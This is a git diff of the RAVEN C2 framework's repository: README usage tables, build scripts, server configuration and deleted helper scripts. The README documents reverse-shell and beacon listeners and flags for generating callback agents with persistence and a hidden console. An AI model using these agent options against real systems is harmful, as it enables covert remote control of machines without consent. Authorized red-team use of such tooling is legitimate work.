diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..b3fce43 --- /dev/null +++ b/.gitignore @@ -0,0 +1,18 @@ +.env +.env* +venv/ +certs/ +*.pem +*.p12 +*.cert +*.crt +*.key +*.pub +target/*.jar +logs/ +*.log +rmRefLog.sh +clean.sh +.vscode/ +.prettierrc +.clang-format diff --git a/README.md b/README.md index 88a52d8..2f9df7e 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,7 @@ -# RAVEN Framework +# RAVEN ![AGPL](https://img.shields.io/badge/AGPL-v3-000000?style=for-the-badge&logo=gnu&logoColor=ffffff&labelColor=000000&color=03001a) ![OpenJDK](https://img.shields.io/badge/OpenJDK-17+-000000?style=for-the-badge&logo=openjdk&logoColor=ffee1a&labelColor=000000&color=03001a) @@ -33,7 +33,8 @@
LEGAL DISCLAIMER -> [!CAUTION] + +> [!CAUTION] > **RAVEN Framework is a offensive security tool designed exclusively for:** > > - Authorized penetration testing and red team engagements @@ -112,7 +113,7 @@ ### 1. Clone the Repository - MAIN - > For normal usage, clone branch main + > For normal usage, clone branch main ```bash git clone --branch main https://github.com/MatrixTM26/RAVEN.git @@ -123,7 +124,7 @@ cd RAVEN Other - DEV - > For contribution commit, pull request and development, push to branch dev + > For contribution commit, pull request and development, push to branch dev ```bash git clone --branch dev https://github.com/MatrixTM26/RAVEN.git @@ -131,7 +132,7 @@ cd RAVEN ``` - MASTER - > Only for owner/admin commit, pull request and upcoming version of development + > Only for owner/admin commit, pull request and upcoming version of development
@@ -147,13 +148,13 @@ mvn clean package -q -X ```bash # Web Panel Mode (Default) -java -jar target/raven.jar +java -jar target/raven-3.0.0.jar # CLI Mode -java -jar target/raven.jar -C +java -jar target/raven-3.0.0.jar -C # GUI Mode -java -jar target/raven.jar -G +java -jar target/raven-3.0.0.jar -G ``` --- @@ -163,17 +164,17 @@ java -jar target/raven.jar -G ### Initialize CA and Server Certificate ```bash -java -jar target/raven.jar --init-certs +java -jar target/raven-3.0.0.jar --init-certs ``` ### Generate Agent Certificates ```bash # Single Agent -java -jar target/raven.jar -a myagent -ah 192.168.1.10 -ap 4444 -am +java -jar target/raven-3.0.0.jar -a myagent -ah 192.168.1.10 -ap 4444 -am # Multiple Agents -java -jar target/raven.jar -m -c 10 -u team -ah 192.168.1.10 -ap 4444 -am +java -jar target/raven-3.0.0.jar -m -c 10 -u team -ah 192.168.1.10 -ap 4444 -am ``` --- @@ -182,66 +183,66 @@ java -jar target/raven.jar -m -c 10 -u team -ah 192.168.1.10 -ap 4444 -am - GENERAL -| Option | Long Option | Description | -| ----------- | --------------- | ----------------------------------------------------- | -| `-h` | `--help` | Show help and exit | -| `-s ` | `--host ` | C2 server bind address (default: `server.properties`) | -| `-p ` | `--port ` | C2 listener port (default: `server.properties`) | +| Option | Long Option | Description | +| ----------- | -------------- | ----------------------------------------------------- | +| `-h` | `-help` | Show help and exit | +| `-s ` | `-host ` | C2 server bind address (default: `server.properties`) | +| `-p ` | `-port ` | C2 listener port (default: `server.properties`) | ```bash # Show help -java -jar target/raven.jar -h +java -jar target/raven-3.0.0.jar -h # Start with custom host and port -java -jar target/raven.jar -s 0.0.0.0 -p 4444 +java -jar target/raven-3.0.0.jar -s 0.0.0.0 -p 4444 ``` - LISTENER MODE | Option | Long Option | Listener Mode | | ------ | ----------- | -------------------------- | -| `-A` | `--multi` | Multi-protocol auto-detect | -| `-R` | `--raw` | Raw TCP reverse shell only | -| `-b` | `--http` | HTTP beacon only | -| `-B` | `--https` | HTTPS beacon only | -| `-T` | `--tls` | TCP TLS — TOMCAT agent | -| `-M` | `--mtls` | Mutual TLS — TOMCAT agent | -| `-F` | `--fmtls` | Full mTLS + HTTPS beacon | +| `-A` | `-multi` | Multi-protocol auto-detect | +| `-R` | `-raw` | Raw TCP reverse shell only | +| `-b` | `-http` | HTTP beacon only | +| `-B` | `-https` | HTTPS beacon only | +| `-T` | `-tls` | TCP TLS — TOMCAT agent | +| `-M` | `-mtls` | Mutual TLS — TOMCAT agent | +| `-F` | `-fmtls` | Full mTLS + HTTPS beacon | ```bash -java -jar target/raven.jar -A # multi-protocol -java -jar target/raven.jar -R # raw TCP -java -jar target/raven.jar -b # HTTP beacon -java -jar target/raven.jar -B # HTTPS beacon -java -jar target/raven.jar -T # TLS -java -jar target/raven.jar -M # mTLS -java -jar target/raven.jar -F # full mTLS + HTTPS beacon +java -jar target/raven-3.0.0.jar -A # multi-protocol +java -jar target/raven-3.0.0.jar -R # raw TCP +java -jar target/raven-3.0.0.jar -b # HTTP beacon +java -jar target/raven-3.0.0.jar -B # HTTPS beacon +java -jar target/raven-3.0.0.jar -T # TLS +java -jar target/raven-3.0.0.jar -M # mTLS +java -jar target/raven-3.0.0.jar -F # full mTLS + HTTPS beacon ``` - INTERFACE MODE -| Option | Long Option | Interface | -| ------------ | -------------------------- | -------------------------------------------------- | -| `-C` | `--cli-mode` | Start in CLI mode | -| `-G` | `--gui-mode` | Start in JavaFX GUI mode | -| `-W` | `--web-mode` | Start in Web Panel mode | -| `-TSC` | `--teamserver-cli` | TeamServer with CLI interface | -| `-TSW` | `--teamserver-web` | TeamServer with Web interface | -| `-TSG` | `--teamserver-gui` | TeamServer with GUI interface | -| `-tp ` | `--teamserver-port ` | TeamServer API port (default: `server.properties`) | +| Option | Long Option | Interface | +| ------------ | ------------------------- | -------------------------------------------------- | +| `-C` | `-cli-mode` | Start in CLI mode | +| `-G` | `-gui-mode` | Start in JavaFX GUI mode | +| `-W` | `-web-mode` | Start in Web Panel mode | +| `-TSC` | `-teamserver-cli` | TeamServer with CLI interface | +| `-TSW` | `-teamserver-web` | TeamServer with Web interface | +| `-TSG` | `-teamserver-gui` | TeamServer with GUI interface | +| `-tp ` | `-teamserver-port ` | TeamServer API port (default: `server.properties`) | ```bash -java -jar target/raven.jar -C # CLI mode -java -jar target/raven.jar -G # JavaFX GUI mode -java -jar target/raven.jar -W # Web Panel mode -java -jar target/raven.jar -TSC # TeamServer CLI -java -jar target/raven.jar -TSW -tp 5001 # TeamServer Web on port 5001 -java -jar target/raven.jar -TSG # TeamServer GUI +java -jar target/raven-3.0.0.jar -C # CLI mode +java -jar target/raven-3.0.0.jar -G # JavaFX GUI mode +java -jar target/raven-3.0.0.jar -W # Web Panel mode +java -jar target/raven-3.0.0.jar -TSC # TeamServer CLI +java -jar target/raven-3.0.0.jar -TSW -tp 5001 # TeamServer Web on port 5001 +java -jar target/raven-3.0.0.jar -TSG # TeamServer GUI # Combine listener + interface -java -jar target/raven.jar -M -C -s 0.0.0.0 -p 4444 # mTLS + CLI -java -jar target/raven.jar -A -W -s 0.0.0.0 -p 4444 # multi + Web Panel -java -jar target/raven.jar -F -TSW -tp 5001 # fmTLS + TeamServer Web +java -jar target/raven-3.0.0.jar -M -C -s 0.0.0.0 -p 4444 # mTLS + CLI +java -jar target/raven-3.0.0.jar -A -W -s 0.0.0.0 -p 4444 # multi + Web Panel +java -jar target/raven-3.0.0.jar -F -TSW -tp 5001 # fmTLS + TeamServer Web ``` - CLI COMMANDS @@ -276,71 +277,71 @@ java -jar target/raven.jar -F -TSW -tp 5001 # fmTLS + TeamServer Web - CERTIFICATE MANAGEMENT -| Option | Long Option | Description | -| ------------- | --------------------- | ------------------------------------------------------- | -| `-i` | `--init-certs` | Initialize CA and server certificates | -| `-s ` | `--server ` | Server host used during cert init | -| `-a ` | `--agent ` | Generate a single agent certificate | -| `-m` | `--multi` | Generate multiple agent certificates | -| `-c ` | `--count ` | Number of agents to generate (with `-m`, default: `10`) | -| `-u ` | `--prefix ` | Username prefix for bulk agent certs (default: `agent`) | -| `-ah ` | `--agent-host ` | Agent callback host | -| `-ap ` | `--agent-port ` | Agent callback port | -| `-am` | `--agent-mtls` | Enable mTLS in generated agent | -| `-ps` | `--persistent` | Enable persistence in generated agent | -| `-hc` | `--hide-console` | Hide console window in generated agent | -| `-l` | `--list` | List all generated agent certificates | -| `-r ` | `--revoke ` | Revoke an agent certificate by ID | +| Option | Long Option | Description | +| ------------- | -------------------- | ------------------------------------------------------- | +| `-i` | `-init-certs` | Initialize CA and server certificates | +| `-s ` | `-server ` | Server host used during cert init | +| `-a ` | `-agent ` | Generate a single agent certificate | +| `-m` | `-multi` | Generate multiple agent certificates | +| `-c ` | `-count ` | Number of agents to generate (with `-m`, default: `10`) | +| `-u ` | `-prefix ` | Username prefix for bulk agent certs (default: `agent`) | +| `-ah ` | `-agent-host ` | Agent callback host | +| `-ap ` | `-agent-port ` | Agent callback port | +| `-am` | `-agent-mtls` | Enable mTLS in generated agent | +| `-ps` | `-persistent` | Enable persistence in generated agent | +| `-hc` | `-hide-console` | Hide console window in generated agent | +| `-l` | `-list` | List all generated agent certificates | +| `-r ` | `-revoke ` | Revoke an agent certificate by ID | ```bash # Initialize CA + server certificate -java -jar target/raven.jar -i +java -jar target/raven-3.0.0.jar -i # Initialize with specific server host -java -jar target/raven.jar -i -s 192.168.1.10 +java -jar target/raven-3.0.0.jar -i -s 192.168.1.10 # Generate single agent cert -java -jar target/raven.jar -a myagent -ah 192.168.1.10 -ap 4444 +java -jar target/raven-3.0.0.jar -a myagent -ah 192.168.1.10 -ap 4444 # Generate single agent cert with mTLS + persistence + hidden console -java -jar target/raven.jar -a myagent -ah 192.168.1.10 -ap 4444 -am -ps -hc +java -jar target/raven-3.0.0.jar -a myagent -ah 192.168.1.10 -ap 4444 -am -ps -hc # Generate 10 agent certs with prefix "agent" -java -jar target/raven.jar -m -c 10 -u agent -ah 192.168.1.10 -ap 4444 -am +java -jar target/raven-3.0.0.jar -m -c 10 -u agent -ah 192.168.1.10 -ap 4444 -am # List all generated agents -java -jar target/raven.jar -l +java -jar target/raven-3.0.0.jar -l # Revoke agent certificate -java -jar target/raven.jar -r myagent +java -jar target/raven-3.0.0.jar -r myagent ``` - OPERATOR MANAGEMENT -| Option | Long Option | Description | -| ------------ | ----------------------- | --------------------------------------------- | -| `-AO` | `--add-operator` | Add a new operator | -| `-RO` | `--remove-operator` | Remove an existing operator | -| `-OP` | `--operator-permission` | View or update operator role | -| `-u ` | `--username ` | Operator username | -| `-pw ` | `--password ` | Operator password (min 8 characters) | -| `-r ` | `--role ` | Operator role — `ADMIN`, `OPERATOR`, `VIEWER` | +| Option | Long Option | Description | +| ------------ | ---------------------- | --------------------------------------------- | +| `-AO` | `-add-operator` | Add a new operator | +| `-RO` | `-remove-operator` | Remove an existing operator | +| `-OP` | `-operator-permission` | View or update operator role | +| `-u ` | `-username ` | Operator username | +| `-pw ` | `-password ` | Operator password (min 8 characters) | +| `-r ` | `-role ` | Operator role — `ADMIN`, `OPERATOR`, `VIEWER` | ```bash # Add operator with default role (OPERATOR) -java -jar target/raven.jar -AO -u op1 -pw securepass +java -jar target/raven-3.0.0.jar -AO -u op1 -pw securepass # Add operator with specific role -java -jar target/raven.jar -AO -u op1 -pw securepass -r ADMIN +java -jar target/raven-3.0.0.jar -AO -u op1 -pw securepass -r ADMIN # Remove operator -java -jar target/raven.jar -RO -u op1 +java -jar target/raven-3.0.0.jar -RO -u op1 # Update operator role -java -jar target/raven.jar -OP -u op1 -r VIEWER +java -jar target/raven-3.0.0.jar -OP -u op1 -r VIEWER # List all available roles -java -jar target/raven.jar -OP +java -jar target/raven-3.0.0.jar -OP ``` > OPERATOR ROLES @@ -380,12 +381,13 @@ java -jar target/raven.jar -OP - **Author:** [MatrixTM26](https://github.com/MatrixTM26) - **License:** [AGPL-V3](./LICENSE) +

Copyright ©2023-2026 MatrixTM26 · All Rights Reserved

diff --git a/SECURITY.md b/SECURITY.md index a49eb25..e540876 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -76,7 +76,7 @@ RAVEN Framework follows responsible disclosure practices: ## Authorized Use Policy -### ✅ **AUTHORIZED USES** +### **AUTHORIZED USES** This project is designed and intended for: @@ -103,7 +103,7 @@ This project is designed and intended for: --- -### ❌ **UNAUTHORIZED USES - STRICTLY PROHIBITED** +### **UNAUTHORIZED USES - STRICTLY PROHIBITED** This project is **NOT** intended for and **MUST NOT** be used for: diff --git a/build.ps1 b/build.ps1 index 834c763..20faade 100644 --- a/build.ps1 +++ b/build.ps1 @@ -111,7 +111,7 @@ function RunBuild { exit 1 } - $ArtifactPath = "target\raven.jar" + $ArtifactPath = "target\raven-3.0.0.jar" if (-not (Test-Path $ArtifactPath)) { PrintError "Build artifact not found: $ArtifactPath" exit 1 @@ -122,7 +122,7 @@ function RunBuild { function RunApp { PrintInfo "Launching application" - & java -jar raven.jar -h + & java -jar raven-3.0.0.jar -h } function Main { diff --git a/build.sh b/build.sh old mode 100644 new mode 100755 index ba80497..129fbaf --- a/build.sh +++ b/build.sh @@ -12,144 +12,144 @@ TotalSteps=4 CurrentStep=0 PrintInfo() { - local Message="$1" - CurrentStep=$((CurrentStep + 1)) - echo -e "${Blue}[INFO]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}" + local Message="$1" + CurrentStep=$((CurrentStep + 1)) + echo -e "${Blue}[INFO]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}" } PrintWarn() { - local Message="$1" - echo -e "${Yellow}[WARN]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}" + local Message="$1" + echo -e "${Yellow}[WARN]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}" } PrintError() { - local Message="$1" - echo -e "${Red}[ERROR]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}" + local Message="$1" + echo -e "${Red}[ERROR]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}" } DetectPackageManager() { - if command -v pkg &>/dev/null && [ -d "/data/data/com.termux" ]; then - echo "termux" - elif command -v pacman &>/dev/null; then - echo "pacman" - elif command -v dnf &>/dev/null; then - echo "dnf" - elif command -v yum &>/dev/null; then - echo "yum" - elif command -v apt-get &>/dev/null; then - echo "apt" - elif command -v zypper &>/dev/null; then - echo "zypper" - elif command -v apk &>/dev/null; then - echo "apk" - elif command -v brew &>/dev/null; then - echo "brew" - else - echo "unknown" - fi + if command -v pkg &> /dev/null && [ -d "/data/data/com.termux" ]; then + echo "termux" + elif command -v pacman &> /dev/null; then + echo "pacman" + elif command -v dnf &> /dev/null; then + echo "dnf" + elif command -v yum &> /dev/null; then + echo "yum" + elif command -v apt-get &> /dev/null; then + echo "apt" + elif command -v zypper &> /dev/null; then + echo "zypper" + elif command -v apk &> /dev/null; then + echo "apk" + elif command -v brew &> /dev/null; then + echo "brew" + else + echo "unknown" + fi } InstallJava() { - local PackageManager="$1" - case "$PackageManager" in - termux) pkg install -y openjdk-17 ;; - pacman) sudo pacman -Sy --noconfirm jdk-openjdk ;; - dnf) sudo dnf install -y java-17-openjdk-devel ;; - yum) sudo yum install -y java-17-openjdk-devel ;; - apt) sudo apt-get install -y openjdk-17-jdk ;; - zypper) sudo zypper install -y java-17-openjdk-devel ;; - apk) sudo apk add --no-cache openjdk17 ;; - brew) brew install openjdk@17 ;; - *) - PrintError "Package manager not supported. Install OpenJDK manually." - exit 1 - ;; - esac + local PackageManager="$1" + case "$PackageManager" in + termux) pkg install -y openjdk-17 ;; + pacman) sudo pacman -Sy --noconfirm jdk-openjdk ;; + dnf) sudo dnf install -y java-17-openjdk-devel ;; + yum) sudo yum install -y java-17-openjdk-devel ;; + apt) sudo apt-get install -y openjdk-17-jdk ;; + zypper) sudo zypper install -y java-17-openjdk-devel ;; + apk) sudo apk add --no-cache openjdk17 ;; + brew) brew install openjdk@17 ;; + *) + PrintError "Package manager not supported. Install OpenJDK manually." + exit 1 + ;; + esac } InstallMaven() { - local PackageManager="$1" - case "$PackageManager" in - termux) pkg install -y maven ;; - pacman) sudo pacman -Sy --noconfirm maven ;; - dnf) sudo dnf install -y maven ;; - yum) sudo yum install -y maven ;; - apt) sudo apt-get install -y maven ;; - zypper) sudo zypper install -y maven ;; - apk) sudo apk add --no-cache maven ;; - brew) brew install maven ;; - *) - PrintError "Package manager not supported. Install Maven manually." - exit 1 - ;; - esac + local PackageManager="$1" + case "$PackageManager" in + termux) pkg install -y maven ;; + pacman) sudo pacman -Sy --noconfirm maven ;; + dnf) sudo dnf install -y maven ;; + yum) sudo yum install -y maven ;; + apt) sudo apt-get install -y maven ;; + zypper) sudo zypper install -y maven ;; + apk) sudo apk add --no-cache maven ;; + brew) brew install maven ;; + *) + PrintError "Package manager not supported. Install Maven manually." + exit 1 + ;; + esac } CheckAndInstallJava() { - PrintInfo "Checking OpenJDK Java installation" - if command -v java &>/dev/null; then - local JavaVersion - JavaVersion=$(java -version 2>&1 | head -n1) - PrintWarn "Java already installed: ${JavaVersion}" - else - PrintWarn "Java not found, detecting package manager..." - local PackageManager - PackageManager=$(DetectPackageManager) - if [ "$PackageManager" = "unknown" ]; then - PrintError "Cannot detect package manager. Install OpenJDK manually." - exit 1 - fi - PrintWarn "Installing OpenJDK via [${PackageManager}]..." - InstallJava "$PackageManager" - PrintInfo "Java installed successfully" - fi + PrintInfo "Checking OpenJDK Java installation" + if command -v java &> /dev/null; then + local JavaVersion + JavaVersion=$(java -version 2>&1 | head -n1) + PrintWarn "Java already installed: ${JavaVersion}" + else + PrintWarn "Java not found, detecting package manager..." + local PackageManager + PackageManager=$(DetectPackageManager) + if [ "$PackageManager" = "unknown" ]; then + PrintError "Cannot detect package manager. Install OpenJDK manually." + exit 1 + fi + PrintWarn "Installing OpenJDK via [${PackageManager}]..." + InstallJava "$PackageManager" + PrintInfo "Java installed successfully" + fi } CheckAndInstallMaven() { - PrintInfo "Checking Maven installation" - if command -v mvn &>/dev/null; then - local MvnVersion - MvnVersion=$(mvn -version 2>&1 | head -n1) - PrintWarn "Maven already installed: ${MvnVersion}" - else - PrintWarn "Maven not found, detecting package manager..." - local PackageManager - PackageManager=$(DetectPackageManager) - if [ "$PackageManager" = "unknown" ]; then - PrintError "Cannot detect package manager. Install Maven manually." - exit 1 - fi - PrintWarn "Installing Maven via [${PackageManager}]..." - InstallMaven "$PackageManager" - PrintInfo "Maven installed successfully" - fi + PrintInfo "Checking Maven installation" + if command -v mvn &> /dev/null; then + local MvnVersion + MvnVersion=$(mvn -version 2>&1 | head -n1) + PrintWarn "Maven already installed: ${MvnVersion}" + else + PrintWarn "Maven not found, detecting package manager..." + local PackageManager + PackageManager=$(DetectPackageManager) + if [ "$PackageManager" = "unknown" ]; then + PrintError "Cannot detect package manager. Install Maven manually." + exit 1 + fi + PrintWarn "Installing Maven via [${PackageManager}]..." + InstallMaven "$PackageManager" + PrintInfo "Maven installed successfully" + fi } RunBuild() { - PrintInfo "Running Maven build" - if ! mvn clean package -q -X; then - PrintError "Maven build failed" - exit 1 - fi - - if [ ! -f "target/raven.jar" ]; then - PrintError "Build artifact not found: target/raven.jar" - exit 1 - fi - - cp -r target/raven.jar . + PrintInfo "Running Maven build" + if ! mvn clean package -q -X; then + PrintError "Maven build failed" + exit 1 + fi + + if [ ! -f "target/raven-3.0.0.jar" ]; then + PrintError "Build artifact not found: target/raven-3.0.0.jar" + exit 1 + fi + + cp -r target/raven-3.0.0.jar . } RunApp() { - PrintInfo "Launching application" - java -jar raven.jar -h + PrintInfo "Launching application" + java -jar raven-3.0.0.jar -h } Main() { - CheckAndInstallJava - CheckAndInstallMaven - RunBuild - RunApp + CheckAndInstallJava + CheckAndInstallMaven + RunBuild + RunApp } Main diff --git a/clean.sh b/clean.sh deleted file mode 100755 index 64e00cb..0000000 --- a/clean.sh +++ /dev/null @@ -1,107 +0,0 @@ -#!/usr/bin/env bash - -set -euo pipefail - -REPO="git@github.com:MatrixTM26/RAVEN.git" -BRANCHES=("main" "dev") -WORK_DIR="$(mktemp -d)" -REPO_OWNER="MatrixTM26" -REPO_NAME="RAVEN" - -RED='\033[0;31m' -GREEN='\033[0;32m' -YELLOW='\033[1;33m' -CYAN='\033[0;36m' -NC='\033[0m' - -log_info() { echo -e "${CYAN}[INFO]${NC} $1"; } -log_ok() { echo -e "${GREEN}[OK]${NC} $1"; } -log_warn() { echo -e "${YELLOW}[WARN]${NC} $1"; } -log_error() { echo -e "${RED}[ERROR]${NC} $1"; } - -require_tool() { - if ! command -v "$1" &>/dev/null; then - log_error "Required tool not found: $1" - exit 1 - fi -} - -require_tool git -require_tool gh - -echo "" -echo -e "${CYAN} RAVEN Repo Cleaner — github.com/MatrixTM26 ${NC}" -echo "" - -if ! gh auth status &>/dev/null; then - log_error "GitHub CLI is not authenticated. Run: gh auth login" - exit 1 -fi -log_ok "GitHub CLI authenticated" - -log_info "Deleting all releases from $REPO_OWNER/$REPO_NAME ..." -RELEASE_IDS=$(gh api "repos/$REPO_OWNER/$REPO_NAME/releases" --paginate --jq '.[].id' 2>/dev/null || true) - -if [[ -z "$RELEASE_IDS" ]]; then - log_warn "No releases found" -else - while IFS= read -r id; do - gh api -X DELETE "repos/$REPO_OWNER/$REPO_NAME/releases/$id" &>/dev/null - log_ok "Deleted release ID: $id" - done <<<"$RELEASE_IDS" -fi - -log_info "Deleting all tags remotely from $REPO_OWNER/$REPO_NAME ..." -REMOTE_TAGS=$(gh api "repos/$REPO_OWNER/$REPO_NAME/tags" --paginate --jq '.[].name' 2>/dev/null || true) - -if [[ -z "$REMOTE_TAGS" ]]; then - log_warn "No remote tags found" -else - while IFS= read -r tag; do - gh api -X DELETE "repos/$REPO_OWNER/$REPO_NAME/git/refs/tags/$tag" &>/dev/null - log_ok "Deleted remote tag: $tag" - done <<<"$REMOTE_TAGS" -fi - -for branch in "${BRANCHES[@]}"; do - BRANCH_DIR="$WORK_DIR/$branch" - - log_info "Cloning branch '$branch' ..." - if ! git clone --single-branch --branch "$branch" "$REPO" "$BRANCH_DIR" &>/dev/null; then - log_warn "Branch '$branch' not found on remote — skipping" - continue - fi - log_ok "Cloned branch: $branch" - - cd "$BRANCH_DIR" - - log_info "[$branch] Removing all local tags ..." - git tag -l | xargs -r git tag -d &>/dev/null || true - - log_info "[$branch] Running git reflog expire ..." - git reflog expire --expire=now --all - - log_info "[$branch] Running git gc aggressive ..." - git gc --aggressive --prune=now &>/dev/null - - log_info "[$branch] Running git repack ..." - git repack -a -d --depth=250 --window=250 &>/dev/null - - log_info "[$branch] Force pushing to origin ..." - git push --force origin "$branch" - log_ok "Branch '$branch' pushed successfully" - - cd "$WORK_DIR" -done - -log_info "Cleaning up temp directory ..." -rm -rf "$WORK_DIR" -log_ok "Temp directory removed" - -echo "" -log_ok "Repository cleanup complete." -echo -e "${CYAN} Repo : ${NC}$REPO" -echo -e "${CYAN} Branches cleaned : ${NC}${BRANCHES[*]}" -echo -e "${CYAN} Releases deleted : ${NC}$(echo "$RELEASE_IDS" | grep -c . 2>/dev/null || echo 0)" -echo -e "${CYAN} Tags deleted : ${NC}$(echo "$REMOTE_TAGS" | grep -c . 2>/dev/null || echo 0)" -echo "" diff --git a/doc/AUTHORS b/doc/AUTHORS index 0d34390..16bee6d 100644 --- a/doc/AUTHORS +++ b/doc/AUTHORS @@ -1,4 +1,4 @@ -Tom Mckinnon (@MatrixTM26) - +TM (@MatrixTM26) + You can contact the author for any development or improvements in this project. \ No newline at end of file diff --git a/doc/pages/public/logo.png b/doc/pages/public/logo.png deleted file mode 100644 index e5f6c05..0000000 Binary files a/doc/pages/public/logo.png and /dev/null differ diff --git a/pom.xml b/pom.xml index a409267..edee417 100644 --- a/pom.xml +++ b/pom.xml @@ -8,7 +8,7 @@ raven 3.0.0 jar - RAVEN Framework + RAVEN C2 Framework 17 diff --git a/run.ps1 b/run.ps1 deleted file mode 100644 index c316bfb..0000000 --- a/run.ps1 +++ /dev/null @@ -1,67 +0,0 @@ -#Requires -Version 5.1 - -Set-StrictMode -Version Latest -$ErrorActionPreference = "Stop" - -$TotalSteps = 3 -$Script:CurrentStep = 0 - -function PrintInfo { - param([string]$Message) - $Script:CurrentStep++ - Write-Host "[" -NoNewline -ForegroundColor White - Write-Host "INFO" -NoNewline -ForegroundColor Blue - Write-Host "]" -NoNewline -ForegroundColor White - Write-Host " [step $Script:CurrentStep/$TotalSteps] $Message" -ForegroundColor White -} - -function PrintWarn { - param([string]$Message) - Write-Host "[" -NoNewline -ForegroundColor White - Write-Host "WARN" -NoNewline -ForegroundColor Yellow - Write-Host "]" -NoNewline -ForegroundColor White - Write-Host " [step $Script:CurrentStep/$TotalSteps] $Message" -ForegroundColor White -} - -function PrintError { - param([string]$Message) - Write-Host "[" -NoNewline -ForegroundColor White - Write-Host "ERROR" -NoNewline -ForegroundColor Red - Write-Host "]" -NoNewline -ForegroundColor White - Write-Host " [step $Script:CurrentStep/$TotalSteps] $Message" -ForegroundColor White -} - -function CheckJava { - PrintInfo "Checking OpenJDK Java installation" - $JavaCmd = Get-Command java -ErrorAction SilentlyContinue - if (-not $JavaCmd) { - PrintError "Java not found. Please install OpenJDK before running this script." - exit 1 - } - $JavaVersion = & java -version 2>&1 | Select-Object -First 1 - PrintWarn "Java found: $JavaVersion" -} - -function CopyArtifact { - PrintInfo "Copying artifact from output directory" - $SourcePath = "output\raven.jar" - if (-not (Test-Path $SourcePath)) { - PrintError "Artifact not found: $SourcePath" - exit 1 - } - Copy-Item -Path $SourcePath -Destination "." -Force - PrintWarn "Artifact copied to current directory" -} - -function RunApp { - PrintInfo "Launching application" - & java -jar raven.jar -h -} - -function Main { - CheckJava - CopyArtifact - RunApp -} - -Main diff --git a/run.sh b/run.sh deleted file mode 100644 index 517b6eb..0000000 --- a/run.sh +++ /dev/null @@ -1,63 +0,0 @@ -#!/usr/bin/env bash - -set -euo pipefail - -readonly White='\033[1;37m' -readonly Blue='\033[1;34m' -readonly Yellow='\033[1;33m' -readonly Red='\033[1;31m' -readonly Reset='\033[0m' - -TotalSteps=3 -CurrentStep=0 - -PrintInfo() { - local Message="$1" - CurrentStep=$((CurrentStep + 1)) - echo -e "${Blue}[INFO]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}" -} - -PrintWarn() { - local Message="$1" - echo -e "${Yellow}[WARN]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}" -} - -PrintError() { - local Message="$1" - echo -e "${Red}[ERROR]${Reset} ${White}[step ${CurrentStep}/${TotalSteps}] ${Message}${Reset}" -} - -CheckJava() { - PrintInfo "Checking OpenJDK Java installation" - if ! command -v java &>/dev/null; then - PrintError "Java not found. Please install OpenJDK before running this script." - exit 1 - fi - local JavaVersion - JavaVersion=$(java -version 2>&1 | head -n1) - PrintWarn "Java found: ${JavaVersion}" -} - -CopyArtifact() { - PrintInfo "Copying artifact from output directory" - local SourcePath="output/raven.jar" - if [ ! -f "$SourcePath" ]; then - PrintError "Artifact not found: ${SourcePath}" - exit 1 - fi - cp -r "$SourcePath" . - PrintWarn "Artifact copied to current directory" -} - -RunApp() { - PrintInfo "Launching application" - java -jar raven.jar -h -} - -Main() { - CheckJava - CopyArtifact - RunApp -} - -Main diff --git a/server.properties b/server.properties index da4679f..b0995e8 100644 --- a/server.properties +++ b/server.properties @@ -1,131 +1,124 @@ -# Raven Framework Configuration - -# Listener - -# Bind address for the TCP listener (agents connect here) -server.host=0.0.0.0 - -# TCP port agents connect to -server.port=4444 - -# Listener mode: -# multi = Accepts raw shells, Raven agents, and HTTP beacons (no TLS) -# raw = Raw reverse shells only -# tls = Raven agent over TLS -# mtls = Raven agent over mutual TLS (recommended) -# fmtls = Full mutual TLS on TCP and HTTPS beacon -# http = HTTP beacon only -# https = HTTPS beacon only -server.mode=multi - -# Bind address for the web panel -web.host=0.0.0.0 - -# Web panel port (WebApp mode) -web.port=5000 - -# HTTP beacon port for multi/fmtls mode (-1 disables beacon) -web.beacon.port=-1 - -# TeamServer - -# TeamServer web panel port -# Default credentials: admin / admin -teamserver.port=5001 - -# Interface - -# Default interface when no CLI flag is provided: -# web = Web panel without authentication -# teamserver = Web panel with authentication -# cli = Terminal interface -# cli-teamserver = Terminal interface with authentication -# gui = JavaFX interface -# gui-teamserver = JavaFX interface with authentication -mode.interface=cli - -# TLS Certificates - -# Generate certificates using: -# java -jar raven.jar --init-certs - -cert.keystore.path=certs/server.p12 -cert.keystore.password=raven -cert.truststore.path=certs/truststore.jks -cert.ca.path=certs/ca.p12 -cert.ca.password=raven -cert.agent.dir=certs/agents - -# Minimum supported TLS version -cert.tls.protocol=TLSv1.3 - -# Agent certificate validity (days) -cert.agent.validity.days=90 - -# Database - -# Database backend: -# sqlite = Local database (recommended) +# RAVEN C2 default configurations + +# server general configuration +server.host = 0.0.0.0 +server.port = 4444 + +# listener mode +# multi - accept all non-TLS (raw shell, RAVEN agent, HTTP beacon) +# http - HTTP beacon only +# https - HTTPS beacon only (TLS, no client cert) +# tls - RAVEN agent over TLS (no client cert) +# mtls - RAVEN agent over mTLS (client cert required) +# fmtls - full mTLS TCP + HTTPS beacon +# raw - raw TCP reverse shell only +server.mode = multi + +# default web mode configuration +web.host = 127.0.0.1 +web.port = 5000 +web.template.dir = config/app/templates +web.static.dir = config/app/static + +# HTTP/HTTPS beacon port (-1 to disable) +web.beacon.port = -1 + +# teamserver API port for multi operator mode +teamserver.port = 40000 + +# user interfaces mode +mode.interface = cli + +# certificates keystore +cert.keystore.type = PKCS12 +cert.keystore.password = R4V3NKEYP4SSX +cert.keystore.path = certs/server.p12 + +# certificates truststore +cert.truststore.type = PKCS12 +cert.truststore.password = R4V3NTRUST5TOR3P455X +cert.truststore.path = certs/truststore.p12 + +# agent certificates directory +cert.agent.dir = certs/agents + +# certificates subject DN - SERVER +cert.dn.cn = R4VEN +cert.dn.o = Emperor Security +cert.dn.ou = Emp3ror +cert.dn.l = DeepInTheSys +cert.dn.st = Los Angeles +cert.dn.c = US + +# certificates subject DN - CA 